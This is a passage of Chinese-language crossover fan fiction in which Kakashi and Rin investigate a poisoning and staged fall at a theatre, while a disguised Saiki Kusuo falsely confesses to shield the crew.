“哦,雁元你没看到吗?他嘴角可是有泡沫呢,那青紫的嘴唇,应该是中毒了吧?难不成还是化妆吗?”化妆室花庄冷笑道,“谁知道怎么那么多人恨他呢?” 【那么多人恨他?】 卡卡西望向了舞台。 红色的幕布已经被拉起,舞台正中的侧后方,正有着一座用木架和钢铁拼凑出的小山。 正中央面朝上躺着一个白衣男人,胸口冒出一截红色的尖刃,就像是雨后的毒蘑菇。 至于嘴角的泡沫和青紫的嘴唇,离这么远,确实看不清楚。 【只不过,漏洞百出。】 卡卡西已经发现了面前几个人的不妥。 他们要么是神情紧张,要么是言语慌乱,从哪个角度来看,都像是和案件脱不开关系啊。 他这样想着,说:“我先去看一下前面的情况。” ----------------- ‘呀嘞呀嘞,果然最后还是靠忍犬帕克决胜负啊。’楠雄在一边抱着手。 身为卡卡西的小学同学兼现在的朋友,他自然了解忍犬帕克的能力,要不然也不会在一开始发现来人是卡卡西的时候,就故意摔倒,让酒液遮掩住自己的气息。 看着卡卡西带着帕克在舞台那边闻过一圈,看了这边一眼,便向着另外一个方向跑去。 他想了想,向着舞台那边走去。 “你这样的情况只是肌肉酸痛而已哦。唔,我给你写一个名字,你按照名字去买药吧。……你这个可能麻烦一点,最好去专业的医院看一下哦。……哈哈,忍术也不是万能的呢。” 野原琳有些苦恼。 大家发现她是医疗忍者,更想让她帮忙看看身体情况,或者处理一些小病。 【这些人难道不是普通人吗?出现了杀人事件,怎么比忍者还要冷静啊。啊……不知道卡卡西那边怎么样了,果然还是再查验一下尸体的情况吧。】 这样想着,琳也板起脸,手插着腰说:“大家不要在这里挤着了哦!如果再这样胡闹,证据可能会被损坏!” “可是机会难得嘛。” “对啊对啊!” 大概是因为看到琳是一个小女孩,这些演职人员并未当回事。 “不行!这可是很重要的事!”琳目光严厉,可下一秒又笑了起来,“等找到凶手后,我可以再抽出时间为大家看一看哦,拜托大家了!” 她既然都这样说了,大家也是面面相觑,随即散开了。 ‘不愧是琳。’楠雄想着,凑了上去。 “忍者大人,是在验尸吗?”他的目光打量了一下案发现场,“需要帮忙吗?” “呃?”琳有些意外地看了过来,而后又移开了眼睛,似乎被他那头潮到爆的 头发“吵”到了。 楠雄没有在意,反而仔细观察起现场的状况。 这场凶案简直像是标准的侦探设置一般,搞得他都怀疑自己是不是又穿越到了其他的世界。 穿着红色改良忍者服的演员身上还挂着威亚的牵引绳,仰面朝天坠落在木和铁搭建的道具山峦之上,被其中的一只尖刺穿过胸膛。 他眼睛圆睁着,诡异的就像是死不瞑目的哥特娃娃,眼底也泛着青黑。 嘴唇微微泛着紫色,血液和嘴角的泡沫已经逐渐干涸。 双手无力地垂下,手指却弯曲成抓握的形状,像是原本抓挠着什么东西。 至于穿透他胸膛的尖刺,在断裂的威亚绳和道具山被移动的痕迹上来说,倒显得乏善可陈。 ‘再怎么看都像是侦探里的经典场景啊。’ 楠雄心中感慨,就听见琳说:“没想到在这样的剧院,会发生杀人案件呢。” “我们这部戏可是叫《推理忍者》,本来就是什么都有可能发生的啊。” 楠雄说着,推了一下眼镜,“需要帮忙把尸体搬下来吗?虽然大家都很害怕。” “嗯?”【不能随便动案发现场啊。】琳有些无奈。 她方才就是考虑到这一点,所以才没有动尸体,而且他们是忍者,并不是警察或者侦探,得出结论无所谓,但是如果把案发现场弄乱,不小心搞丢了证据的话,恐怕之后木叶还会受到这里警视厅的非议。 “我这样提议,也是因为老板,恐怕并不会报警。”身边传来冷静的声音,琳微微一愣,像是也想到了什么。 银之都说是影视剧的天堂,实际上却很混乱,这里鱼龙混杂,据说没有背景,根本混不下去,难不成,老板也是…… 她这样想着,楠雄却像是知道她在想些什么一样,兀自接了下去。 “倒也没有什么复杂的原因,只是因为壁花剧院本来运营的就一般,与其找警察,不如想想怎么让这里生意更红火。没有什么比侦探剧组真死了人更轰动的了,如果搭配上一个耸人听闻的故事,那就更好不过。” 琳讶异地转过脸,就看见了身边少年帅气的侧脸。 他比她高上半头,和卡卡西差不多大的模样。 但他的帅气和卡卡西不同,反而和楠子一样,带着一股冷峻。 是的,楠子不笑的时候就显得冷峻。 可楠子绝对不是那种把其他人的死亡当做“新闻”,当做“娱乐”的人! 琳有些生气,“这可是有人死掉了。” “哦,如果这个人就该死呢?”楠雄像是毫不在意,“野原小姐如果是忍者,那么就应该见过很多这样的人吧?” 琳的眉头一跳,再次看向了真悟。 如果没有弄错的话,眼前的楠雄是在明示什么吗? 【真没想到,居然和楠子一样,都是谜语人。可至少楠子,可绝对不会自夸为美女的啊。】余光扫到了楠雄的侧脸,她就想到了楠子,不由得走神。 ‘抱歉啊,我也是会在心底称呼自己为美女的啊。’ 楠雄转了转眼珠,此刻脸微微转来,那如同刀锋一般的下颌线就更显得攻击性十足,话语就像是在暗示着些什么。 “所以,你们倒也不用那么努力,对了,那个问询的帅哥,和你是什么关系呢?” 56.记录 ‘呀嘞呀嘞,我只是想让你说出,他是你的队友,而不是上级之类的话啊。干嘛突然以这种对待色狼的态度对付我呢。……哦,是因为我现在不是美女,而是个帅哥啊。原来如此,原来如此。’ 楠雄突然恍然,因为银之都的帅哥美女都很多,他都差点忘了自己这男性面貌的杀伤力有多大了。 可是帅哥就会被看做是色狼吗? 他正在发呆,就见方才因他的话跑去确认的野原琳蹬蹬蹬地跑了回来。 及至到了跟前,脚步就逐渐放慢,她仰起了脸,面上露出一丝勉强的笑容,“谢谢你方才提醒我。对了,你的名字和我认识的一个人有点像呢。” “哦,是吗?” “唔,仔细看,不如说面相也有点像。”琳有些疑惑。 “那一定是个美女吧?”楠雄又补了一句,“因为我是个帅哥。” 【说自己帅哥什么的……】琳笑着,只是那笑容就像是冲泡久了的茶叶,逐渐变淡,她微微咬紧嘴唇,【说要在下午5点前将案件解决,而后继续开戏,怎么能这样啊。】 ‘嗯?’楠雄有些意外,可想想看又觉得寻常。 他所知道的老板娘追寻利益,现在估计正买通了外面的报社,准备大肆宣扬一番呢。 就他看来,《推理忍者》这部剧的质量不错,但是无论是名字还是演员都不够有爆点,所以到现在都火不起来。 楠雄的目光转到了仰面倒在那边的真悟身上。 所以啊,现在爆点不就来了吗? 正当他这样想着,就听见旁边的琳说:“只是很奇怪,死者应该中了不止一种毒素。” “嗯?”楠雄的眼睛转过去,就见琳也在观察他,他的目光顿时有些复杂,“不止一种?他果然很招人恨啊。不过,野原小姐,就算没有借用工具,你也能这样快确认吗?” 面前,野原琳露出了灿烂的笑,“呵,或许你不知道,但我可是三忍之一纲手大人的弟子呢!这点事,可难不倒我。” ‘呀嘞呀嘞,看来是我失误了呢。’楠雄的额角隐隐掉下一滴冷汗。 他当初确实是因为遇到了凶案,也带着为难“侦探”的心思,没有将真悟身上的毒素剔除到只剩下一种。 一开始是自负与粗疏,之后是见到了卡卡西和琳,直接大意了啊喂。 “那还真是厉害。”他喃喃着,手向后一伸,不知道从哪里掏出来一个拍立得,“既然这样,为了避免冤假错案,还是用这个吧?” “这是……” “雨之国的最新产品,”楠雄对着案发现场拍了一张,拍立得“嘎吱嘎吱”地吐出了照片,没一会儿影像就显露出来。 真悟仰躺在山上,胸前红色蔓延。 “我会负责多拍几张用作记录,但是这里……”他看向了被鲜血染红的舞台,“可能很快就要被清理了。” 琳气息又是一滞,脸上闪过凝重,重重点头。 ----------------- 下午3点,剧场休息室。 旗木卡卡西按着下巴,看着眼前的笔记。 死者春风真悟。 嫌疑人是导演道砚、女主演雁元、道具师稻具、化妆师花庄……还有,那个奇怪的楠雄。 “楠雄和真悟也有矛盾啊!因为楠雄其实看起来比真悟要上镜,所以真悟都不让他出现在剧场呢!” “真悟正想着要把楠雄踢出剧团呢!” “楠雄啊,那是个真正的小帅哥,和真悟这种气质型帅哥不一样。” 【我要听的,可不是八卦啊。】他的眉毛蹙起。 “卡卡西,毒药瓶不是已经找到了吗?就在那个楠雄的包里,说起来,他身上的味道和楠子有点像呢,不过味道已经很淡了,他身上又都是酒味,我有点分辨不出来。” 帕克眨动着圆而小的眼睛,“不过,方才你也确认过了吧?威亚绳子的断裂是自然磨损啊。” “哎……”卡卡西垂着头,他不想相信那个齐木楠雄是凶手,因为他总觉得这件事各处都透着怪异。 其他人奇怪的态度、威亚的磨损、道具山上突出的刀尖,还有真悟明显的中毒症状。 如果是齐木楠雄动的手,他会这样大喇喇地把毒药瓶放在自己的包里吗? 还有,真悟的死因,真的只是因为毒,而其他都只是碰巧吗? 【不行,还不能确认。】 卡卡西明白,自己这样讲给楠子听的话,恐怕得到的就只有嘲笑了。 她说不定就会像“安乐椅”侦探一样,一边端着茶,一边听他讲,而后点出事件之中的矛盾之处,接着露出惋惜的神色,像是他出现了什么重大失误一样。 【虽然,那也很可爱。】卡卡西拉了拉面罩,遮掩住嘴角的笑意,抬眼就看到帕克虚着眼望他。 “卡卡西,不知道为什么,我好像闻到了恋爱的酸臭味哦。” “现在可是在工作呢!咳,只能看看琳那边有没有什么发现了。”他站起身,正准备出去,就见琳冲了进来,手上拿着一沓照片,脸上都是郑重之色。 如果换上那种铅灰色的西装,感觉简直像是侦探剧里的女刑警了! 【不会吧,还真把这件事当侦探故事了吗?!】面罩下的嘴角有些抽搐,他还未说话,那边的琳果然就说:“旗木警部补,现场的勘察情况是……” 她将现场的情况一一说出,还搭配上照片。 卡卡西原本还有些松懈的眼神逐渐变得认真,更有些意外。 按理说,琳应该并不擅长这种事啊。 “……虽然还没有解剖,但是我可以确认,他是中了毒,应该不止一种。” “什么?”卡卡西的眉头蹙得更紧。 “很奇怪吧?还有,楠雄,那个像楠子的少年,说老板娘不会在意真相,让我们尽快做出结论。”琳压低了声音。 卡卡西眼皮一跳,看向了门的方向。 半掩着的门外,灯光昏暗,只有隐隐的嘈杂之声,却像是魔鬼的音调,逐渐喧扰。 ----------------- “老板,真的要继续演吗?可是、可是真悟死了啊……”道砚有些失神。 披着一身不知道是什么动物的皮毛鞣制成的大衣,剧院的老板娘踩着一双高跟鞋,歪在观众座椅中,手指穿过了白猫柔软的毛。 “那么一个烂人,死就死喽,把星河叫回来,继续演。说不定今晚的上座率会很高呢,你们说,是不是?”她的红唇挑起一抹笑,眼睛冷然地扫视过舞台下的所有人。 无人敢与她对视。 见到这 样,她叹了口气,觉得有些无聊,“不是胆子很大吗?敢杀人,不敢演戏?还是你们觉得他会变成鬼?追杀你们?那也太荒谬了。” 她几乎是优美地翻了个白眼,听到身后的脚步声,回过了头,眼睛就笑了起来。 “小帅哥,你们的案子办的怎么样了?” 卡卡西略一蹙眉。 他注意到了,她化了妆,比中午见到的要精细许多,头发也重新梳拢过,显得蓬松而随意,上面装饰着宝石和羽毛。 他都能料想到,一旦在闪光灯下,这位女士定然会露出泫然欲泣的眼神,而后找出最美的角度,登上明天报纸的封面。 可是,犯人还没有确认。 诚然,凶器已经找到了,但是他不想冤枉一个好人,也不想放走凶手。 正了正神色,他说:“只要再给我一点时间,就可以……” “哦,时间啊。”老板娘从怀里掏出一个怀表,打开了后,从上往下垂着眼睛看着,略显苦恼地皱眉,“可怎么办呢,下午七点要进行演出,舞台必须要开始清洗了。” 卡卡西张了张嘴,没说什么要报警的事。 关于银之都,他的了解要比琳多。 这里□□横行,很多事只要一句话就能改变和定性。 老板娘要的不是真相,而是一个能报给警察局的合理说辞。 警察局也不会来确认。 【真是……】卡卡西的手指微微扣紧,像他这样的忍者在战场上可以纵横捭阖,但是面对普通人却不得不缩手缩脚。 【如果楠子在的话,她会怎么说呢?】 在这种时候,卡卡西偏偏想起了齐木楠子。 他其实早就发现了,虽然说自己的实力更强,但是无论是观察他人,还是得出结论,楠子总比他更胜一筹。 她还喜欢看推理故事,如果是她的话,恐怕已经推理出真相了吧? 不是他能力不够,只是不知为何,他所想的思路却被证据一一推翻,时间又这样急,根本来不及一个一个问询。 难不成真的要随便得出一个结论,敷衍过去吗? “那个,请等一下!” 卡卡西抬起眼,看向了出声的野原琳,她郑重道:“我们已经有眉目了,只需要一点时间确认。” “可时间对大家来说,都是很宝贵的东西呢。”老板笑了笑,嘴角的笑纹也未曾削减她的荣光,“不如,就得出个大家都高兴的结论,如何呢?” “大家都高兴的结论……?你是说,撒谎吗?额,抱歉啊,老板,我的师父让我们来……” “是为了帮我解决麻烦哦。注意,是解·决·麻·烦。”老板站了起来,趴伏在了观众席的椅背上,原本带着笑意的眼睛却像是照片定格一般,有些失真。 琳微微一怔,面对这样的委托人,她有些无措,尤其,还是因为她,卡卡西才卷入了这件事中。 难道要让卡卡西来说谎吗?不,不止卡卡西无法接受,她也没法接受! 心中涌起愤怒,她踏前一步,正准备说话,就见一个深色的影子站在了她的面前。 是卡卡西。 “所以说,只要有个合适的解答,就可以了吧?”卡卡西摊开了一只手,神色也变得漠然,“那倒是很简单,不如,就来进行案件推演吧。” 57.案件推演 “呃?案件推演是什么?”老板塌了塌腰,“是要进行侦探游戏吗?” 卡卡西神色不变,棒读出声:“《推理忍者》的案件推演!侦探剧的剧场出现了真实的案件!木叶忍者前来推理!剧组人员演技大爆发,到底谁才是真正极恶之凶?嫌疑人锁定以下几人。” 他呼出口气,说出这样羞耻的话,眼睛直接瞪成了死鱼眼。 “总之,就是这样的故事吧……” 老板娘几乎觉得可笑,“哈,你也看侦探剧啊。不过,这可是真的死了人哦!哦对,你们是忍者嘛,死人是寻常事~” 她回过了头,看向面色越发难看的剧组人员,眼神在绷住了脸的楠雄身上停了几秒,点了点头。 “我倒是想出了一个合适的场景,不过,机会难得,就用摄像机记录下来吧~只是时间上,必须在5点之前结束。” “不会耽误太多时间的。”卡卡西保证道,“我会在这里,为这件事画上完美结局的。” ----------------- ‘哦呼,果然还是很帅气啊。’楠雄看着卡卡西。 他一向知道旗木卡卡西极有责任心,但也没有想到在这种情况下,卡卡西还想着还他清白呢。 ‘我可没有清白可言哦,只不过没有想到会是这样的大场面啊。’他看着那边墙角的摄影机,还在思考要不要将摄影机毁掉。 可想想看那是雨隐村的产品,如果莫名其妙地坏掉恐怕反而会引起麻烦吧。 那么就只能拜托联络人和老板沟通了。虽然有些抱歉,但也只能这样了。 【啊,虽然说是案件推演,虽然说要录下来,但是也不至于将场景布置成这样吧,这样不就显得我像是想要体验侦探剧的傻瓜一样了吗?】 “噗。”楠雄握拳抵住了自己的唇,努力拉平了嘴角。 “嗯?”旗木卡卡西看向了这边,楠雄恢复了一本正经的神情。 此刻舞台上的场景早已变换,巨大的道具山连带着真悟的尸体都已经被推走。 然后顺着轨道推上了另外一个室内的布景,卡卡西方才的吐槽就是因为这大费周章的一幕。 卡卡西不喜欢这样的场景,但是他齐木楠雄可是喜欢得很呢。 连所有在场的“嫌疑人”都或是深吸了一口气,或是两股战战,而后踏上了这个场景。 因为,他们或多或少都是剧组相关的人员,所以对这种事反而习以为常。 连只练习时长只有几个月的楠雄也是如此。 ‘真是没办法,就让他在今天这段时间展示一下这两三个月的学习成果吧。’ 他挺直了脊背,刚想上前,就感觉自己的衣摆被扯住。 芳朵就在他的身后,她的指尖在颤抖,“楠雄,还是我……” “在说什么呢,芳朵前辈。”楠雄的话语中带着笑意,“这可是我成为主角的好机会呢。” 话音未落,他踏上了舞台。 ----------------- “将房间布置成这样,也实在没必要了吧?”琳苦笑道。 “这是可移动式的场景,只要推动,就能快速挪移到舞台上。”楠雄看见卡卡西的目光落在了自己的脸上,进一步解释道,“这场景可是花了大价钱的,所以剧场的压力很大。” 【是吗?不过看起来,虽然精细,却显得简陋啊。】卡卡西再次仔细打量了一下这个布景。 四周的墙壁确实只是粗陋的木板加上墙纸和刷漆,可深棕色的书架,搭建好的壁炉,绿色的丝绒沙发,那人身后的实木书桌组合,外加中间方位的,不知道为何要放在那里的国际象棋棋盘都有做旧的痕迹,看起来低调而奢华,简直就像是外国推理中会出现的场景啊。 “现在难道是说布景的时候吗?不是要指出嫌疑人吗?”女演员雁元也走了上来,她站在了书桌边上,双手抱在胸前,警惕地看向了在场的众人,吐槽道,“其他人上来也就罢了,楠雄你上来干嘛?” “啊,这个嘛……”楠雄正准备说出“因为我是凶手”的话,就被卡卡西一语打断。 “那是因为,无论是他,还是在场的诸位,其实和春风真悟,都有过节吧?”卡卡西双手插兜,下巴微微仰起,语气淡然。 在场的人都像是吃了一惊,有人还露出了佩服的神色。 ‘这个时候,就该配上一锤定音的音效吧?’ 楠雄想着,就见已经有人上钩。 “不错,我是和他有着过节。”道砚苦笑道,“这部戏的导演明明是我,A角和B角也应该演出一样的戏码,可是春风真悟他总是反驳我,让我下不来台。” “所以,你就想杀了他?” 道砚微微一怔,“这个嘛……” “那当然是不至于了。”楠雄看着道砚的眼睛,开口打断,“道砚前辈虽然年纪大,但是身段很软啊。说到这,我也想说呢,稻具前辈也是一样,他可是有家庭的人,是不可能为了自尊这种东西杀人的。” 稻具努力用左手扯住了右手,露出一个难看的笑,“楠雄,你……知道得很清楚呢。” “嗯。”楠雄点了一下头,但实际上似乎下巴都没动一下,显得轻浮无礼。 他看向了卡卡西,“说起来,这个人和那么多人都有过节,纯粹是他自己的问题。” 【这是在挑衅吗?】卡卡西的眼睛里闪过一丝复杂,声音却依旧稳定,“哦?请问一下,春风真悟到底做了什么不可饶恕的事,所以必须要死呢?” 众人的视线,随着卡卡西的话一同移了过来。 就是这样,让事情的焦点全部聚集于自身。 此刻的楠雄,像是站在聚光灯的中心一样,他却像是在想着些什么,“让我想想,有什么是可以说,但是又不会被‘哔——’掉的吧?” “喂,这可是现实世界,是不会被‘哔……’掉的啊。”道砚忍不住吐槽。 楠雄却没有理他,歪了一下脑袋,说:“你们知道,春风真悟其实原本是个牛郎吗?” “什么?!”众人的神色带着震惊。 “他曾经用PUA的手段控制自己的顾客,让她们成为公关小姐,为自己挣钱。哦,对了,他还曾经是个下忍,只不过叛逃了。哈哈,你们也不知道是吧?那我再说一条好啦。” 他的眼睛眯起,嘴角露出了一抹邪笑,声音却带着愉悦。 “他……得罪了我,所以,他死了。” 一秒,两秒…… 空气似乎凝固了,而后突然传出一声笑。“噗哈哈哈,抱歉!楠雄,我没想到两个月了,你的演技还是这样直给。”老板笑得抹了抹眼角,对上了楠雄无语的神情道,“如果你说的是没有让你演出这部戏的事的话,那是我的决定。” “嗯?为什么?”楠雄明知故问,就是为了让老板说出一句…… “那是因为你太帅了呀!如果你担纲那个角色,大家一定会同情凶手的吧!” 说出这句话的,不是老板,而是雁元,她冷下脸来,“别开玩笑了,你才不是那种会因为这种事情就杀人的孩子。” “不,我是哦。”楠雄歪过了脑袋,露出了他那被称为“完美”的45°侧脸,“我下了毒,所以真悟前辈才会有中毒的迹象。” “还在中二期的小鬼没资格说话。”花庄深吸口气,眼神避了开去,“关于真悟中的毒……” “对哦,就是从花庄小姐的口红里拿到的。” “嗯?!”原本站的歪歪扭扭的花庄猛地直起身,“你说什么?!” “像我这样的帅少年,即便刷脸,也不可能轻易地拿到毒素,所以我就想了各种办法。”楠雄摊了摊手,“花庄小姐喜欢自研化妆品,她那里有很多植物素材,刚好我就懂一些,所以,我用她口红里的原料,提取了毒素。然后……” 他顿了顿,看向了道砚,“下在了道砚前辈的酒里,递给了真悟。你看,道砚前辈每一次上场前都要喝酒,他们刚吵了架,我说,这是道砚前辈的赔礼,他就喝了下去。” 楠雄无视了道砚同样震惊的眼神,看向了卡卡西,“那并不是致死剂量的毒素,只是让他手脚发软,所以,我怕他不死,于是用匕首偷换了假山上的道具刀。” “啪嚓”一声,众人都吓了一跳,下意识循声望去,就看到了稻具。 他已经蹲了下去,去捡那自壁炉上摔下的烛台,看见所有人都看着他,顿时扯开了嘴角,露出了一个难看的笑,“那、那个,我手滑……” 无论是雁元、花庄,还是道砚,都像是意识到了什么,张了张嘴。 “那前辈你下次可得手稳一点。”楠雄无所谓地说着,将众人的注意力又拉了回来。 卡卡西也已经明白了什么,他直勾勾盯着楠雄,问:“那你怎么确定他就能掉下来,掉到那个位置呢?” “当然是用锉刀磨损了威亚,毕竟,用剪刀可是最笨的办法了,刀口都不一样。” 楠雄说着,无视了雁元青一阵白一阵的脸色。 卡卡西望着他,却是摇头,“不对,如果你能有机会下毒,直接让他从威亚上掉落不就行了吗?” “笨蛋,他是下忍啊,如果不中毒的话,就算落下,也不会受多大的伤。” 他说出了这句话,似乎把所有人都骂了,他心底却在得意呢,这一次,他居然能光明正大地说木叶天才上忍卡卡西是笨蛋! ‘演戏,可真有趣啊!’ 他心底想着,就听见被他叫做“笨蛋”的旗木卡卡西,果然做了一件很愚笨的事。 他摇了摇头,并未接受齐木楠雄的剖白,反而说: “不,不是这样。” 他的目光犀利,直直扫过面前所有的人,而后,抬起眉毛笑了起来: “不如,让我做出一个猜想吧?” 58.谁是凶手 ‘糟糕。忘记卡卡西偶尔会泛滥的竞争心了。’ 齐木楠雄想说些什么,但还是闭上了嘴,看着旗木卡卡西展示他的“推理”。 这位银灰色头发的帅气忍者似乎已经完全融入了这剧团的环境,迈着四方步,开始说明:“就我看来,这次的案件应该是……‘三刀两毒’。” “啊……”楠雄虚下眼,吐槽道,“真难为你还知道三刀两毒啊。” “三刀两毒”指的是在一场案件之中,有许多人都用不同的方式下手了,侦探需要做的,就是找出致死的那个人。 在场的人出演侦探剧目,所以或多或少也了解这个名词。 看大家震惊又紧张的神色,就知道如果是在侦探剧目中,这个时候又该放音效了。 “那是因为我的熟人喜欢看侦探。”卡卡西深深地看了一眼楠雄,像是在暗示着些什么。 但楠雄明白,再怎么样,卡卡西也不可能将事情想到他就是齐木楠子身上。 他耸耸肩,“所以呢?你是想说除了我,还有别人下手了吗?那……证据呢?” “证据自然是有的。”卡卡西若有其事。 ‘怎么可能,证据全都被我消灭了啊。’他歪嘴一笑,抱着手臂,看着卡卡西踱步到道砚面前。 “道砚先生,请问,齐木楠雄沾染的酒液,原本是你的吧?” “额,那个,是……”道砚的眼神有一瞬间躲闪,最后还是落在了楠雄身上。 他之前就已经觉得怪异了,但是却没将这件事联系到楠雄身上。 在他看来,楠雄就是一个帅得过分、让人想借他那张脸活一次的悲惨少年而已。 可现在这情况,实在出乎他的意料。 就像是现在这样,楠雄耸耸肩,就轻松地将话头接了过去,比他这个成年人还像个成年人。 “是哦,因为这个剧场里,只有道砚前辈才会喝那种大瓶的酒。” “所以,你就将毒下在了整个酒瓶里了?” 【整个酒瓶?……不,我是将毒下在了酒杯里啊。】道砚不自觉想。 楠雄顿了顿,目光一闪,抬手扶住眼镜,手背遮掩住了下半张脸的神色,慢吞吞道:“不……我是,将毒下在了递给真悟的酒杯里。就是道砚前辈常用的那个,哦……因为我想毁灭证据,所以被我扔到剧场楼下的垃圾桶了。” “嗯?”这不是卡卡西想要的回答。 他余光扫向了道砚,就见这位导演也一脸惊讶和茫然,似乎在想“怎么会呢?这事儿,不是我干的吗?” 他越发肯定了自己的猜测,转向了雁元,“雁元女士,不知道你方不方便展示一下你包里的东西。” 雁元脸皮一紧,“额?呵,让女士拿出……” “雁元,时间。”老板的怀表打开又合上,眼神冷淡地看向了这位漂亮的女演员。 【糟糕,还没时间处理剪断威亚的剪刀。呵,算了……只要春风真悟死掉,就都无所谓了。】 雁元的嘴唇颤抖了一下,又紧紧闭上,将自己包里的东西倒在了书桌上,身体绷得笔直,“就这些。” 一小堆杂物之间,有着一把剪刀,任谁来看,都不是应该出现在女士坤包中的物品。 “雁元女士,请问你带着这把剪刀做什么呢?”卡卡西拿起了那把剪刀。 “如果我没记错,应该是道具吧。”楠雄瞥了一眼,“是稻具的作品,但是应该没开锋。啊,如果你是想说雁元前辈用这把剪刀割开了威亚,那是不可能的,因为我为了制造意外,是用东西磨开的,这一点,看一眼绳子的断口就能明白了。” 卡卡西眉头一跳,仔细盯着那把剪刀,抹了一把刀锋,果然只能感受到钝感。 这……居然是木头的。 再瞥一眼,雁元身体晃了晃,捂住了胸口,稻具复杂的目光也悄然落在了楠雄的身上。 而楠雄盯着他,嘴角挑起一抹自信的笑,“我猜你接下来会说,毒可能不是我下的,而是花庄前辈;又或者说稻具前辈也做了手脚。但是啊,旗木……哦,你是上忍是吧?旗木上忍,我还是希望你不要做无谓的猜测了,毕竟……有的故事,并不需要什么完美结局。” 他的下巴微微一收,眼睛自下而上看向了卡卡西,再加上嘴角的笑容,简直就像是侦探剧里常见的邪恶角色。 众人望着他一手插入兜中,一手自胸前舒展开来,“春风真悟的黑料,这一次被杀死亡,外加我这张帅哥的脸,应该就能够交差了吧。” 他的目光转向了面无表情的老板。 此刻,不知为何,方才老板的潇洒和快意反而消失殆尽,撑着下巴,似是称量着什么,又像是在苦恼。 只有楠雄知道她在想什么,但是他不准备搭茬。 他转回了头,目光在场中几人的面容上一一扫过。 他们的目光或复杂或惊恐或难受,搭配上那些接连不断地心音,简直像是世界上最繁复却最温柔的交响乐。 “我想你们应该也看出来了,对,不管是认为我是大名的私生子也好,还是以为我是火影流落在外的儿子也罢,我摊牌了。我有能力摆平这一切,所以也无需为我担心。” 楠雄的目光又回到了卡卡西的身上,“这对木叶来说也好吧,稍后把这件事交给警视厅,就足够编一个精彩的故事了。” 他说的“故事”,可不仅仅是给大家的交代,也是给未来给“楠子”讲述的故事。 ‘其实要以攻略的角度来看的话,讲一个关于你失败的故事,说不定反而能让我来安慰你呢。’ “楠子”的脑海里涌现出这样的思绪。 就这样,在他觉得大事已定,再也不可能出现任何波澜的时候。 只见对面的卡卡西一笑。 “看来,你的故事准备的很完备啊。” “……啊,是啊。”楠雄面带自信,心中却升起警惕。 “但如果我说,春风真悟的死因只有一种,凶手也只会有一个,那人也不必是未来超有前途,却要为了别人的事承担责任的帅哥演员呢?” 说不定只有楠雄和琳才听出了卡卡西在念出“帅哥演员”四个字时的咬牙切齿。 卡卡西语速飞快,“你们应该还不知道吧?你们的老板本来就准备处置春风真悟了,下部戏还准备捧你们面前的这位齐木楠雄做主演。” 众人一惊,看向了老板。 老板撑着下巴撇了撇嘴,“比起定时炸弹,还是鲜 嫩的小帅哥更有发展潜力啊,我也是要挣钱,才能养得起你们这帮赔钱货的。” 被骂作“赔钱货”,这些人本来应该会不满,可不知道为何,他们居然齐齐低头。 楠雄没有在意,他早就知道这些人的底细。 他只是看着卡卡西。 ‘居然为了胜负执着成这样,但是,没用的,大家都有各自的理由,不会有人站出来的。不,就算有人想站出来,我也不会允许。’ 剧场中心音纷纷,却鸦雀无声。 齐木楠雄正想冷笑,做实自己“凶手”的身份,就听见一个突兀的声音传来。 “……是、是我!” 他的瞳孔微微收缩,猛然转头过去。 阴暗的角落里,芳朵举起了手。 她的手指在发颤,另外一只手不断地去扶那眼镜,却还是将手高高立在空中,袖口处露出了一点点齿痕。 “是我……毒杀了春风真悟。那个……是我在他的饮料中下了毒。楠雄是为了我……” “芳朵,你在说什么蠢话!” 听见楠雄严厉的声音,芳朵不自觉地颤抖了一下,却猛地抬起了脸,“不能这样!……我听出来了,其他前辈也下手了吧?我们都是成年人,却让楠雄一个孩子……” “我不是孩子,我……” “不管你是大名的私生子也好,还是火影流落在外的儿子也罢!现在的你都只是一个演技还未够班的小鬼而已啊!” 呃?演技还未够班? 齐木楠雄大受打击。 明明他是按照电视剧里面一比一复制的,也能够精确控制自己的肌肉,怎么就会是‘演技还未够班’呢? “这……这是污蔑……”他低声说着,却没有十分的底气,因为其他前辈的心音确实是这样说的。 【我就想说呢,应该是模仿了《古畑任三郎》最新一集的反派吧?哎,只剩神似,没有灵魂。】花庄想。 【不过是个十二、三岁的少年,做出那样的邪笑,反而有点失真了,我就说他没有天分啊。】雁元的心声。 【台词什么的,我根本没有听懂发生了什么啊。】稻具抱着头。 【太夸张了,如果是在电影的镜头特写,那基本上就是五官乱飞了。】道砚如此评价。 最让他受打击的,反而是原本一开始最看好他的老板娘。 【哎,果然,暂时只有那一张帅脸可以看了,要么推去演偶像剧吧,穿女装应该能火。】 他·才·不·要·穿·女·装! 楠雄咬紧了牙关。 现在的他可是男性,穿上女装简直是对他演技和学习能力的污蔑!对!就是污蔑! 他是这样想的,可芳朵明显还未放弃对他的持续重击。 “我是一个成年人,我自己的事本来就不应该由你来负担,我都已经想好了,想好要怎么做了……为什么你要……要……” 她捂住了脸,掩去了眼角的泪水,而后站在了楠雄身边,对他露出了笑容:“我已经想好了,楠雄,你有机会成为伟大的偶像派演员,既然这样,就让我承认自己的罪。没什么的,真的……没什么的……旗木上忍,你其实应该都清楚的吧,下毒的,其实是……” 59.幻想推理 楠雄自“凶手”,转入了“侦探”的角色。 他一手撑着手肘,一手摸着下巴,踱起了四方步。 “这件事该从哪里说起呢?哦,不如就从一个酗酒又落魄的导演说起吧。” “唔呃!”导演道砚像是遭受了重击。 楠雄根本没有看他,脑海中各种情景和思维碎片如同便签纸一样在脑海中飞舞着,他随手采下几张,辨认清楚,将自己需要的贴在自己的思维背板上,而后任由其他的飞走。 一边拼合着那错综复杂的线,一边侃侃道来: “这个落魄的导演在一次活动中,发现了一位个性骄纵又脾气很差的女演员,他赞美她的才华,立志要把她捧红。当然,那位美丽的女演员自然看不起这个导演,可她的境况够糟糕了,自然也就曲意逢迎。” “我可没有曲意逢迎!”雁元绷紧了脸,抱着手臂,整个人就像是一张弓,“我和道砚老头子什么关系都没有!” 楠雄瞥了她一眼,“那是当然的,她还在心底鄙夷那个老色鬼癞蛤蟆想吃天鹅肉呢,只是她不知道,那个落魄导演是因为……” “等等,你别说了!”道砚抬手阻止,额角汗津津的,“就是因为我酗酒又好色而已!” 楠雄的眼珠转了一圈,“当然是有这种可能性的,但是有没有一种可能,是那位导演发现那个女演员是被他抛弃多年的女儿才行示好的呢?” 他摇了摇头,棒读道:“哎呀,好难猜啊!” 雁元怔住了,呆愣愣地去看满脸通红的道砚,这时候花庄反而上前一步,撇嘴道:“你说来说去,和真悟的死有什么关系?” “当然要先解释清楚人物关系,才能解释整个事件。” 楠雄面无表情,手从那石绿色的裤子口袋里一掏,像是变魔法一样,从里面拿出一沓扑克牌,仔细一看才发现原来是照片。 